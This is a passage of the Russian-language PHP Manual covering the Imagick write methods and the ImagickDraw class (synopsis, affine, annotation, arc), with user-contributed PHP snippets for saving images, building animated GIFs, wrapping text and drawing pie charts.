Имя файла, куда записать изображение. Расширение имени файла определяет тип файла. Формат может быть принудительно установлен независимо от расширения файла, используя префикс "format:" например, "jpg:test.png".

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Anonymous 11-Jul-2014 10:25
I opened image with Imagick::readImageBlob. When I wanted to save resized image Imagick::writeImage did not work, but Imagick::writeImageFile did.

$image = new Imagick();
$image->readImageBlob($image_data);
// $image->writeImage($fileDst)    did not work
if($f=fopen($fileDst, "w")){
  $image->writeImageFile($f);
}
SkepticaLee 27-Mar-2014 02:30
When running Imagick as packaged with the Abyss Web Server, neither this method nor writeImages () works. Instead the format has to be declared and the file saved by using another method or procedure, e.g.:

<?php
$im = new Imagick ();
$im->newImage (300, 225, "blue");
$im->writeImage ("test_0.jpg"); // fails with no error message
//instead
$im->setImageFormat ("jpeg");
file_put_contents ("test_1.jpg", $im); // works, or:
$im->imageWriteFile (fopen ("test_2.jpg", "wb")); //also works
?>
pfz at pfzone dot org 24-Nov-2012 05:47
With Imagick 3.1.0RC2, PHP4.8
If you plan to overwrite the file you're working on, before doing writeImage, consider clearing the file buffer before the write statement :

<?php
$image = new Imagick($your_file);
/* some processing */

clearstatcache(dirname($your_file));
// or
unlink($your_file);
$image->writeImage($your_file);
?>
It happened to me that the resulting file size was wrong. This could lead to truncation, as the file is not expanded.
This happened while working on JPEG, and PNG.

this line worked for me without this hack.
<?php
file_put_contents($your_file, $image);
?>

Do not rely on getImageLength() for sending your image, especially when keepalive is ON. Content length is then relevant, and must be set. If the wrong size is given, your image will be truncated.
Use filesize($your_file_) once written or strlen($image) instead (which renders your image and updates getImageLength() result).
icinagle at gmail dot com 23-May-2011 06:47
If you are trying to manipulate a uploaded file and then save the file all in the same request with Apache + mod_dav this will fail.
mod_dav puts a lock on the file during the request where the file is uploaded so trying to save the smallest file, e.g. 1kb will fail with a "Failed to allocate memory" error.


Записывает изображение в файл

  • « Imagick::writeImage
  • Imagick::writeImages »
  • PHP Manual
  • Imagick
  • Записывает изображение в файл

Imagick::writeImageFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImageFile — Записывает изображение в файл

Описание

public Imagick::writeImageFile(resource $filehandle, string $format = ?): bool

Записывает изображение в заданный файловый дескриптор. Дескриптор должен быть предварительно открыт, например с помощью fopen. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

filehandle

Файловый дескриптор.

format

Формат изображения. Список допустимых спецификаторов формата зависит от скомпилированного набора функций программы ImageMagick и может быть запрошен во время выполнения с помощью метода Imagick::queryFormats().

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::queryFormats() - Возвращает форматы, поддерживаемые Imagick

User Contributed Notes

There are no user contributed notes for this page.


Записывает изображение или последовательность изображений

  • « Imagick::writeImageFile
  • Imagick::writeImagesFile »
  • PHP Manual
  • Imagick
  • Записывает изображение или последовательность изображений

Imagick::writeImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImages — Записывает изображение или последовательность изображений

Описание

public Imagick::writeImages(string $filename, bool $adjoin): bool

Записывает изображение или последовательность изображений.

Список параметров

filename

adjoin

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Malou 16-Jan-2010 01:25
As mbrugue sugest, the second parameter can also be use to save an animated gif:

<?php
$anim = new Imagick();

$files = scandir($myFramesPath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $anim->addImage($auxIMG);
}

//write animated gif
$anim->writeImages('anim.gif', true);

?>
mbrugue 11-Jun-2009 02:54
The second parameter spicifies if the object is write in multipage file (true) or split every page in a single file (false).

Example:

<?php
$multiTIFF = new Imagick();

$files = scandir($mytifspath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi.TIF', true);

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.TIF', false);
?>


Записывает фреймы в файловый дескриптор

  • « Imagick::writeImages
  • ImagickDraw »
  • PHP Manual
  • Imagick
  • Записывает фреймы в файловый дескриптор

Imagick::writeImagesFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImagesFile — Записывает фреймы в файловый дескриптор

Описание

public Imagick::writeImagesFile(resource $filehandle, string $format = ?): bool

Записывает все фреймы изображения в открытый дескриптор файла. Метод можно использовать для записи анимированных GIF-файлов или других многокадровых изображений в открытый дескриптор файла. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

filehandle

Файловый дескриптор, в который записать изображения.

format

Формат изображения. Список допустимых спецификаторов формата зависит от скомпилированного набора функций программы ImageMagick и может быть запрошен во время выполнения с помощью метода Imagick::queryFormats().

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::queryFormats() - Возвращает форматы, поддерживаемые Imagick

User Contributed Notes

There are no user contributed notes for this page.


Класс ImagickDraw

(PECL imagick 2, PECL imagick 3)

Обзор классов

class ImagickDraw {
public affine(array $affine): bool
public annotation(float $x, float $y, string $text): bool
public arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): bool
public bezier(array $coordinates): bool
public circle(
float $ox,
float $oy,
float $px,
float $py
): bool
public clear(): bool
public clone(): ImagickDraw
public color(float $x, float $y, int $paintMethod): bool
public comment(string $comment): bool
public composite(
int $compose,
float $x,
float $y,
float $width,
float $height,
Imagick $compositeWand
): bool
public __construct()
public destroy(): bool
public ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): bool
public getClipPath(): string
public getClipRule(): int
public getClipUnits(): int
public getFillColor(): ImagickPixel
public getFillOpacity(): float
public getFillRule(): int
public getFont(): string
public getFontFamily(): string
public getFontSize(): float
public getFontStretch(): int
public getFontStyle(): int
public getFontWeight(): int
public getGravity(): int
public getStrokeAntialias(): bool
public getStrokeColor(): ImagickPixel
public getStrokeDashArray(): array
public getStrokeDashOffset(): float
public getStrokeLineCap(): int
public getStrokeLineJoin(): int
public getStrokeMiterLimit(): int
public getStrokeOpacity(): float
public getStrokeWidth(): float
public getTextAlignment(): int
public getTextAntialias(): bool
public getTextDecoration(): int
public getTextEncoding(): string
public getTextInterlineSpacing(): float
public getTextInterwordSpacing(): float
public getTextKerning(): float
public getTextUnderColor(): ImagickPixel
public getVectorGraphics(): string
public line(
float $sx,
float $sy,
float $ex,
float $ey
): bool
public matte(float $x, float $y, int $paintMethod): bool
public pathClose(): bool
public pathCurveToAbsolute(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierAbsolute(
float $x1,
float $y1,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierRelative(
float $x1,
float $y1,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierSmoothAbsolute(float $x, float $y): bool
public pathCurveToQuadraticBezierSmoothRelative(float $x, float $y): bool
public pathCurveToRelative(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToSmoothAbsolute(
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToSmoothRelative(
float $x2,
float $y2,
float $x,
float $y
): bool
public pathEllipticArcAbsolute(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
public pathEllipticArcRelative(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
public pathFinish(): bool
public pathLineToAbsolute(float $x, float $y): bool
public pathLineToHorizontalAbsolute(float $x): bool
public pathLineToHorizontalRelative(float $x): bool
public pathLineToRelative(float $x, float $y): bool
public pathLineToVerticalAbsolute(float $y): bool
public pathLineToVerticalRelative(float $y): bool
public pathMoveToAbsolute(float $x, float $y): bool
public pathMoveToRelative(float $x, float $y): bool
public pathStart(): bool
public point(float $x, float $y): bool
public polygon(array $coordinates): bool
public polyline(array $coordinates): bool
public pop(): bool
public popClipPath(): bool
public popDefs(): bool
public popPattern(): bool
public push(): bool
public pushClipPath(string $clip_mask_id): bool
public pushDefs(): bool
public pushPattern(
string $pattern_id,
float $x,
float $y,
float $width,
float $height
): bool
public rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): bool
public render(): bool
public resetVectorGraphics(): bool
public rotate(float $degrees): bool
public roundRectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): bool
public scale(float $x, float $y): bool
public setClipPath(string $clip_mask): bool
public setClipRule(int $fill_rule): bool
public setClipUnits(int $clip_units): bool
public setFillAlpha(float $opacity): bool
public setFillColor(ImagickPixel $fill_pixel): bool
public setFillOpacity(float $fillOpacity): bool
public setFillPatternURL(string $fill_url): bool
public setFillRule(int $fill_rule): bool
public setFont(string $font_name): bool
public setFontFamily(string $font_family): bool
public setFontSize(float $pointsize): bool
public setFontStretch(int $fontStretch): bool
public setFontStyle(int $style): bool
public setFontWeight(int $font_weight): bool
public setGravity(int $gravity): bool
public setResolution(float $x_resolution, float $y_resolution): bool
public setStrokeAlpha(float $opacity): bool
public setStrokeAntialias(bool $stroke_antialias): bool
public setStrokeColor(ImagickPixel $stroke_pixel): bool
public setStrokeDashArray(array $dashArray): bool
public setStrokeDashOffset(float $dash_offset): bool
public setStrokeLineCap(int $linecap): bool
public setStrokeLineJoin(int $linejoin): bool
public setStrokeMiterLimit(int $miterlimit): bool
public setStrokeOpacity(float $stroke_opacity): bool
public setStrokePatternURL(string $stroke_url): bool
public setStrokeWidth(float $stroke_width): bool
public setTextAlignment(int $alignment): bool
public setTextAntialias(bool $antiAlias): bool
public setTextDecoration(int $decoration): bool
public setTextEncoding(string $encoding): bool
public setTextInterlineSpacing(float $spacing): bool
public setTextInterwordSpacing(float $spacing): bool
public setTextKerning(float $kerning): bool
public setTextUnderColor(ImagickPixel $under_color): bool
public setVectorGraphics(string $xml): bool
public setViewbox(
int $x1,
int $y1,
int $x2,
int $y2
): bool
public skewX(float $degrees): bool
public skewY(float $degrees): bool
public translate(float $x, float $y): bool
}

Содержание

  • ImagickDraw::affine — Регулирует текущую матрицу аффинного преобразования
  • ImagickDraw::annotation — Рисует текст на картинке
  • ImagickDraw::arc — Рисует дугу
  • ImagickDraw::bezier — Рисует кривую Безье
  • ImagickDraw::circle — Рисует круг
  • ImagickDraw::clear — Очищает ImagickDraw
  • ImagickDraw::clone — Делает точную копию указанного объекта ImagickDraw
  • ImagickDraw::color — Рисует цвет на изображении
  • ImagickDraw::comment — Добавляет комментарий
  • ImagickDraw::composite — Накладывает изображение на текущее изображение
  • ImagickDraw::__construct — Конструктор класса ImagickDraw
  • ImagickDraw::destroy — Освобождает все связанные ресурсы
  • ImagickDraw::ellipse — Рисует на изображении эллипс
  • ImagickDraw::getClipPath — Возвращает идентификатор текущего обтравочного контура
  • ImagickDraw::getClipRule — Возвращает текущее правило заливки многоугольника
  • ImagickDraw::getClipUnits — Возвращает интерпретацию единиц обтравочного контура
  • ImagickDraw::getFillColor — Возвращает цвет заливки
  • ImagickDraw::getFillOpacity — Возвращает непрозрачность, используемую при рисовании
  • ImagickDraw::getFillRule — Возвращает правило заливки
  • ImagickDraw::getFont — Возвращает шрифт
  • ImagickDraw::getFontFamily — Возвращает семейство шрифтов
  • ImagickDraw::getFontSize — Возвращает размер шрифта
  • ImagickDraw::getFontStretch — Получает растяжение шрифта, используемое при аннотации текста
  • ImagickDraw::getFontStyle — Возвращает стиль шрифта
  • ImagickDraw::getFontWeight — Возвращает толщину шрифта
  • ImagickDraw::getGravity — Возвращает гравитацию размещения текста
  • ImagickDraw::getStrokeAntialias — Возвращает текущую настройку сглаживания обводки
  • ImagickDraw::getStrokeColor — Возвращает цвет, используемый для обводки контуров объекта
  • ImagickDraw::getStrokeDashArray — Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров
  • ImagickDraw::getStrokeDashOffset — Возвращает смещение в штриховом паттерне для начала штриховки
  • ImagickDraw::getStrokeLineCap — Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
  • ImagickDraw::getStrokeLineJoin — Возвращает форму, которая будет использоваться в углах контуров при их обводке
  • ImagickDraw::getStrokeMiterLimit — Возвращает предел среза обводки
  • ImagickDraw::getStrokeOpacity — Возвращает непрозрачность обведённых контуров объекта
  • ImagickDraw::getStrokeWidth — Возвращает ширину обводки, используемой для рисования контуров объекта
  • ImagickDraw::getTextAlignment — Возвращает выравнивание текста
  • ImagickDraw::getTextAntialias — Возвращает текущую настройку сглаживания текста
  • ImagickDraw::getTextDecoration — Возвращает оформление текста
  • ImagickDraw::getTextEncoding — Возвращает кодовый набор, используемый для текстовых аннотаций
  • ImagickDraw::getTextInterlineSpacing — Возвращает межстрочный интервал текста
  • ImagickDraw::getTextInterwordSpacing — Возвращает межсловный интервал текста
  • ImagickDraw::getTextKerning — Возвращает межбуквенный интервал текста
  • ImagickDraw::getTextUnderColor — Возвращает цвет под текстом
  • ImagickDraw::getVectorGraphics — Возвращает строку, содержащую векторную графику
  • ImagickDraw::line — Рисует линию
  • ImagickDraw::matte — Закрашивает канал непрозрачности изображения
  • ImagickDraw::pathClose — Добавляет элемент пути к текущему пути
  • ImagickDraw::pathCurveToAbsolute — Рисует кубическую кривую Безье
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Рисует квадратичную кривую Безье
  • ImagickDraw::pathCurveToQuadraticBezierRelative — Рисует квадратичную кривую Безье
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Рисует квадратичную кривую Безье
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Рисует квадратичную кривую Безье
  • ImagickDraw::pathCurveToRelative — Рисует кубическую кривую Безье
  • ImagickDraw::pathCurveToSmoothAbsolute — Рисует кубическую кривую Безье
  • ImagickDraw::pathCurveToSmoothRelative — Рисует кубическую кривую Безье
  • ImagickDraw::pathEllipticArcAbsolute — Рисует эллиптическую дугу
  • ImagickDraw::pathEllipticArcRelative — Рисует эллиптическую дугу
  • ImagickDraw::pathFinish — Завершает текущий путь
  • ImagickDraw::pathLineToAbsolute — Рисует линию
  • ImagickDraw::pathLineToHorizontalAbsolute — Рисует горизонтальную линию
  • ImagickDraw::pathLineToHorizontalRelative — Рисует горизонтальную линию
  • ImagickDraw::pathLineToRelative — Рисует линию
  • ImagickDraw::pathLineToVerticalAbsolute — Рисует вертикальную линию
  • ImagickDraw::pathLineToVerticalRelative — Рисует вертикальную линию
  • ImagickDraw::pathMoveToAbsolute — Начинает новый внутренний контур
  • ImagickDraw::pathMoveToRelative — Начинает новый внутренний контур
  • ImagickDraw::pathStart — Объявляет начало отрисовки контура
  • ImagickDraw::point — Рисует точку
  • ImagickDraw::polygon — Рисует многоугольник
  • ImagickDraw::polyline — Рисует ломаную линию
  • ImagickDraw::pop — Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw
  • ImagickDraw::popClipPath — Завершает определение пути обтравочного контура
  • ImagickDraw::popDefs — Завершает список определений
  • ImagickDraw::popPattern — Завершает определение шаблона
  • ImagickDraw::push — Клонирует текущий объект ImagickDraw и добавляет его в стек
  • ImagickDraw::pushClipPath — Запускает определение пути обтравочного контура
  • ImagickDraw::pushDefs — Указывает, что следующие команды создают именованные элементы для ранней обработки
  • ImagickDraw::pushPattern — Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна
  • ImagickDraw::rectangle — Рисует прямоугольник
  • ImagickDraw::render — Отрисовывает все предыдущие команды рисования на изображении
  • ImagickDraw::resetVectorGraphics — Сбрасывает векторную графику
  • ImagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству
  • ImagickDraw::roundRectangle — Рисует прямоугольник с закруглёнными углами
  • ImagickDraw::scale — Регулирует коэффициент масштабирования
  • ImagickDraw::setClipPath — Связывает именованный контур обтравочного контура с изображением
  • ImagickDraw::setClipRule — Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром
  • ImagickDraw::setClipUnits — Устанавливает интерпретацию единиц траектории обтравочного контура
  • ImagickDraw::setFillAlpha — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
  • ImagickDraw::setFillColor — Устанавливает цвет заливки, используемый для рисования объектов с заливкой
  • ImagickDraw::setFillOpacity — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
  • ImagickDraw::setFillPatternURL — Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов
  • ImagickDraw::setFillRule — Устанавливает правило заливки для использования при рисовании полигонов
  • ImagickDraw::setFont — Устанавливает указанный шрифт для использования при аннотировании текстом
  • ImagickDraw::setFontFamily — Устанавливает семейство шрифтов для использования при аннотировании текстом
  • ImagickDraw::setFontSize — Устанавливает размер шрифта для использования при аннотировании текстом
  • ImagickDraw::setFontStretch — Устанавливает растяжение шрифта для использования при аннотировании текстом
  • ImagickDraw::setFontStyle — Устанавливает стиль шрифта для использования при аннотировании текстом
  • ImagickDraw::setFontWeight — Устанавливает толщину шрифта
  • ImagickDraw::setGravity — Устанавливает гравитацию размещения текста
  • ImagickDraw::setResolution — Устанавливает разрешение
  • ImagickDraw::setStrokeAlpha — Определяет непрозрачность обводки контуров объекта
  • ImagickDraw::setStrokeAntialias — Управляет сглаживанием обводок контуров
  • ImagickDraw::setStrokeColor — Устанавливает цвет, используемый для обводки контуров объекта
  • ImagickDraw::setStrokeDashArray — Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров
  • ImagickDraw::setStrokeDashOffset — Задаёт смещение в штриховом паттерне для начала штриховки
  • ImagickDraw::setStrokeLineCap — Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
  • ImagickDraw::setStrokeLineJoin — Задаёт форму, которая будет использоваться в углах контуров при их обводке
  • ImagickDraw::setStrokeMiterLimit — Задаёт предел среза обводки
  • ImagickDraw::setStrokeOpacity — Определяет непрозрачность обводки контуров объекта
  • ImagickDraw::setStrokePatternURL — Устанавливает паттерн, используемый для обводки контуров объекта
  • ImagickDraw::setStrokeWidth — Устанавливает ширину обводки, используемой для рисования контуров объекта
  • ImagickDraw::setTextAlignment — Задаёт выравнивание текста
  • ImagickDraw::setTextAntialias — Управляет сглаживанием текста
  • ImagickDraw::setTextDecoration — Определяет оформление
  • ImagickDraw::setTextEncoding — Задаёт кодовый набор текста
  • ImagickDraw::setTextInterlineSpacing — Устанавливает межстрочный интервал текста
  • ImagickDraw::setTextInterwordSpacing — Устанавливает межсловный интервал текста
  • ImagickDraw::setTextKerning — Устанавливает межбуквенный интервал текста
  • ImagickDraw::setTextUnderColor — Задаёт цвет фонового прямоугольника
  • ImagickDraw::setVectorGraphics — Устанавливает векторную графику
  • ImagickDraw::setViewbox — Устанавливает общий размер холста
  • ImagickDraw::skewX — Наклоняет текущую систему координат по горизонтали
  • ImagickDraw::skewY — Наклоняет текущую систему координат по вертикали
  • ImagickDraw::translate — Применяет перенос к текущей системе координат

User Contributed Notes

There are no user contributed notes for this page.


Регулирует текущую матрицу аффинного преобразования

  • « ImagickDraw
  • ImagickDraw::annotation »
  • PHP Manual
  • ImagickDraw
  • Регулирует текущую матрицу аффинного преобразования

ImagickDraw::affine

(PECL imagick 2, PECL imagick 3)

ImagickDraw::affine — Регулирует текущую матрицу аффинного преобразования

Описание

public ImagickDraw::affine(array $affine): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Корректирует текущую матрицу аффинного преобразования с указанной матрицей аффинного преобразования.

Список параметров

affine

Параметры аффинной матрицы

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::affine()

<?php
function affine($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$PI = 3.141592653589794;
$angle = 60 * $PI / 360;

//Масштабирование координат чертежа.
$affineScale = array("sx" => 1.75, "sy" => 1.75, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

//Сдвиг координат чертежа.
$affineShear = array("sx" => 1, "sy" => 1, "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0);

//Поворот координат чертежа. Аффинная матрица сдвига даёт
//неправильно масштабированные чертежи.
$affineRotate = array("sx" => cos($angle), "sy" => cos($angle), "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0,);

//Смещение рисунка
$affineTranslate = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 30, "ty" => 30);

//Единичная аффинная матрица
$affineIdentity = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

$examples = [$affineScale, $affineShear, $affineRotate, $affineTranslate, $affineIdentity,];

$count = 0;

foreach ($examples as $example) {
$draw->push();
$draw->translate(($count % 2) * 250, intval($count / 2) * 250);
$draw->translate(100, 100);
$draw->affine($example);
$draw->rectangle(-50, -50, 50, 50);
$draw->pop();
$count++;
}

//Создание объекта изображения, в который можно преобразовать команды рисования.
$image = new \Imagick();
$image->newImage(500, 750, $backgroundColor);
$image->setImageFormat("png");

//Преобразование команд рисования в объекте ImagickDraw
//в изображение.
$image->drawImage($draw);

//Отображение изображения в браузере
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует текст на картинке

  • « ImagickDraw::affine
  • ImagickDraw::arc »
  • PHP Manual
  • ImagickDraw
  • Рисует текст на картинке

ImagickDraw::annotation

(PECL imagick 2, PECL imagick 3)

ImagickDraw::annotation — Рисует текст на картинке

Описание

public ImagickDraw::annotation(float $x, float $y, string $text): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует текст на картинке.

Список параметров

x

Координата X, где рисуется текст

y

Координата Y, где рисуется текст

text

Текст для рисования на изображении

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

web at synaptech dot fr 17-Jul-2013 10:31
In some cases the (custom) font can be truncated on the side parts, especially the handwritten ones.
To improve the above note from Anonymous on "how to create a header image", I've changed this part of the code:

<?php
/* Create text */
$draw->annotation( $metrics['boundingBox']['y2'], $metrics['ascender'], $text );

/* Create image */
$image->newImage( $metrics['textWidth'] + $metrics['boundingBox']['y2'], $metrics['textHeight'], $background );
?>
Anonymous 24-Oct-2009 10:28
Here's how to create a header image and write it to file.  This took me a while to figure out.  I hope this helps.

<?php

/* Text to write */
$text = "Hello World!";

/* Create Imagick objects */
$image = new Imagick();
$draw = new ImagickDraw();
$color = new ImagickPixel('#000000');
$background = new ImagickPixel('none'); // Transparent

/* Font properties */
$draw->setFont('Arial');
$draw->setFontSize(50);
$draw->setFillColor($color);
$draw->setStrokeAntialias(true);
$draw->setTextAntialias(true);

/* Get font metrics */
$metrics = $image->queryFontMetrics($draw, $text);

/* Create text */
$draw->annotation(0, $metrics['ascender'], $text);

/* Create image */
$image->newImage($metrics['textWidth'], $metrics['textHeight'], $background);
$image->setImageFormat('png');
$image->drawImage($draw);

/* Save image */
file_put_contents('/path/to/file.png', $image);
?>
use_contact_form at Jonas-Kress dot de 09-Jul-2009 03:33
may help someone...

<?php
    /**
     * Split the given text into rows fitting the given maxWidth
     *
     * @param unknown_type $draw
     * @param unknown_type $text
     * @param unknown_type $maxWidth
     * @return array
     */
    private function getTextRows($draw, $text, $maxWidth)
    {
        $words = explode(" ", $text);

        $lines = array();
        $i=0;
        while ($i < count($words))
        {//as long as there are words

            $line = "";
            do
            {//append words to line until the fit in size
                if($line != ""){
                    $line .= " ";
                }
                $line .= $words[$i];

                $i++;
                if(($i) == count($words)){
                    break;//last word -> break
                }

                //messure size of line + next word
                $linePreview = $line." ".$words[$i];
                $metrics = $this->canvas->queryFontMetrics($draw, $linePreview);
                //echo $line."($i)".$metrics["textWidth"].":".$maxWidth."<br>";

            }while($metrics["textWidth"] <= $maxWidth);

            //echo "<hr>".$line."<br>";
            $lines[] = $line;
        }

        //var_export($lines);
        return $lines;
    }
?>
Anonymous 30-Jun-2009 08:08
You can use this method to break your text so that it'll fit a certain $maxWidth.

<?php
/**
 * @param string $text
 * @param int $maxWidth
 */
protected function _fitText($text, $maxWidth)
{
    $im = new Imagick();
    $im->newImage($this->_width, $this->_height, "none");

    $lines = explode(PHP_EOL, trim($text));
    $DEBUG_LOOP = 0;

    for ($k = 0; $k < count($lines); ++$k) {
        do {
            $drawText = new ImagickDraw();
            // set your font settings like size, family, .. here
            $metrics  = $im->queryFontMetrics($drawText, $lines[$k]);
            $fits     = $metrics["textWidth"] <= $maxWidth;

            if ($fits) {
                break;
            }

            $pos = mb_strrpos($lines[$k], " ");
            if ($pos === false) {
                throw new RuntimeException("can not make it fit");
            }
            if (!isset($lines[$k + 1])) {
                $lines[$k + 1] = null;
            }
            $lines[$k + 1] = trim(mb_substr($lines[$k], $pos + 1) . " " . $lines[$k + 1]);
            $lines[$k]     = trim(mb_substr($lines[$k], 0, $pos));

            if (++$DEBUG_LOOP >= 200) {
                throw new RuntimeException("infinite loop");
            }
        } while (!$fits);
    }
    $text     = implode(PHP_EOL, $lines);
    $drawText = new ImagickDraw();
    // set your font settings like size, family, .. here again!
    $metrics  = $im->queryFontMetrics($drawText, $text);
    $metrics["text"] = $text;
    assert('$metrics["textWidth"] <= $maxWidth');
    return $metrics;
}
?>


Рисует дугу

  • « ImagickDraw::annotation
  • ImagickDraw::bezier »
  • PHP Manual
  • ImagickDraw
  • Рисует дугу

ImagickDraw::arc

(PECL imagick 2, PECL imagick 3)

ImagickDraw::arc — Рисует дугу

Описание

public ImagickDraw::arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует дугу, попадающую в указанный ограничивающий прямоугольник на изображении.

Список параметров

sx

Начальная координата X ограничивающего прямоугольника

sy

Начальная координата Y ограничивающего прямоугольника

ex

Конечная координата X ограничивающего прямоугольника

ey

Конечная координата Y ограничивающего прямоугольника

sd

Начальный градус вращения

ed

Конечный градус вращения

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::arc()

<?php
function arc($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $startAngle, $endAngle) {

//Создание объекта ImagickDraw для рисования.
$draw = new \ImagickDraw();
$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);

$draw->arc($startX, $startY, $endX, $endY, $startAngle, $endAngle);

//Создание объекта изображения, в который можно преобразовать команды рисования.
$image = new \Imagick();
$image->newImage(IMAGE_WIDTH, IMAGE_HEIGHT, $backgroundColor);
$image->setImageFormat("png");

//Преобразование команд рисования в объекте ImagickDraw
//в изображение.
$image->drawImage($draw);

//Отображение изображения в браузере
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 24-Jun-2011 06:30
You can do a pie chart with a combination of arc and polygon functions (there really ought to be a built-in command for this)

<?php
//  create a new canvas object and a white image
$canvas     = new Imagick();
$canvas->newImage(600, 600, 'grey');

image_pie($canvas, 300, 300, 200, 0, 45, 'red');
image_pie($canvas, 300, 300, 200, 45, 125, 'green');
image_pie($canvas, 300, 300, 200, 125, 225, 'blue');
image_pie($canvas, 300, 300, 200, 225, 300, 'cyan');
image_pie($canvas, 300, 300, 200, 300, 360, 'orange');

//  output the image
$canvas->setImageFormat('png');
header("Content-Type: image/png");
echo $canvas;
exit;

// FUNCTIONS

function image_arc( &$canvas, $sx, $sy, $ex, $ey, $sd, $ed, $color = 'black' ) {

    //  draw arc on canvas
    //  $sx, $sy, $ex, $ey specify a bounding rectangle of a circle with the origin in the middle
    //  $sd, and $ed specify start and end angles in degrees

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->arc($sx, $sy, $ex, $ey, $sd, $ed);
    $canvas->drawImage($draw);
}

function image_pie( &$canvas, $ox, $oy, $radius, $sd, $ed, $color = 'black' ) {

    //  draw pie segment
    //  $ox, $oy specify the circle origin
    //  $sd, and $ed specify start and end angles in degrees
    //  degrees start from 0 = East, and go clockwise

    //  position 1 - convert degrees to radians and get first point on perimeter of circle
    $x1     = $radius * cos($sd / 180 * 3.1416);
    $y1     = $radius * sin($sd / 180 * 3.1416);

    //  position 2 - convert degrees to radians and get second point on perimeter of circle
    $x2     = $radius * cos($ed / 180 * 3.1416);
    $y2     = $radius * sin($ed / 180 * 3.1416);

    //  draw segment triangle - specify the 3 points and draw a polygon
    $points = array(array('x' => $ox, 'y' => $oy), array('x' => $ox + $x1, 'y' => $oy + $y1), array('x' => $ox + $x2, 'y' => $oy + $y2));

    image_polygon($canvas, $points, $color);

    //  draw corrsesponding arc to complete the "pie" segment
    image_arc($canvas, $ox - $radius, $oy - $radius, $ox + $radius, $oy + $radius, $sd, $ed, $color);
}

function image_polygon( &$canvas, $points, $color = 'black' ) {

    //  draw a polygon on canvas

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->polygon($points);
    $canvas->drawImage($draw);
}

?>


Рисует кривую Безье

  • « ImagickDraw::arc
  • ImagickDraw::circle »
  • PHP Manual
  • ImagickDraw
  • Рисует кривую Безье

ImagickDraw::bezier

(PECL imagick 2, PECL imagick 3)

